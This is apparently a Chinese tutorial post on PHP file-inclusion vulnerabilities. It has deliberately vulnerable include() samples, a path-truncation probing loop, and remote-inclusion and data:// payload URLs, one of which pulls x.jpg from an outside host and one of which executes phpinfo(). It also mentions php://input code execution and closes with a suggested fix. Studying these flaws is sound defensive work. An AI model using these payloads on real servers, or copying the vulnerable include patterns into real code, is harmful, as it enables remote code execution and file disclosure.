<?php
echo "It is How include() run.\r\n";
include('no.no');
echo 'XDSEC';
?>
<?php
echo "It is How require() run.\r\n";
require('no.no');
echo 'XDSEC';
?><?php
$content = $_GET['content'];
include($content);
?> <?php
$content = 'x.jpg';
for($i=1;$i<=1000;$i++){
$content .="/";
$a = @include($content.".htm"); //包含错误则不回显
if($a == 1){
echo $i; //包含成功时返回/个数
}
}以上就是常见的LFI(Local File Inclusion)的方法,另外,当allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件。
0x13 RFI
利用于不可上传文件时。
Usage: http://127.0.0.1/test.php?content=http://10.11.221.133/x.jpg%00
更多的,当gpc=on时,RFI可以用?来截断,如图。
当然,如果有如下过滤
<?php
$content = $_GET['content'];
if (strrpos($content, "http")===false) {
include($content.".htm");
}
else {
echo "Wrong File!";
}
?>限制了CONTENT中不能出现http字样,那么就无法远程包含了。另有绕过方法。
0x14 PHP伪协议
关于php封装协议的内容,请查阅php手册相关。
在此只是举出几例应用。
PHP 5.2起,可以用data://封装数据流
Usage: http://127.0.0.1/test.php?content=data://text/plain,<?php%20phpinfo();?>
自 PHP 4.3.0 起支持
php://output
和
php://input,
而利用php://input输入流,则相当于拿到一个可以任意执行的漏洞。
Usage:
只要我们输入流提交任意命令都会当成一个php语句来执行。猥琐的利用。
0x15 etc
Apache日志包含,系统文件包含,目录遍历。。。各种牛逼漏洞不明觉厉,可惜是linux下的,我对linux不了解,就不班门弄斧了,等待各位来补充。
0x20 How To fix it
<?php
$content = $_GET['content'];
if (strrpos($content, "..")===false) {
include("temp/".$content.".htm");
}
else {
echo "Wrong File!";
}
?>预先将要包含的文件放入一个temp文件夹,这样RFI跟伪协议都行不通了,然后禁止content中出现..来禁止跳到其他目录.
PS:这个脚本是我自己写的,有错的话希望大家不吝赐教(求绕过,求爆草)。
Reffer
https://www.t00ls.com/viewthread.php?tid=22603&highlight=%E5%8C%85%E5%90%AB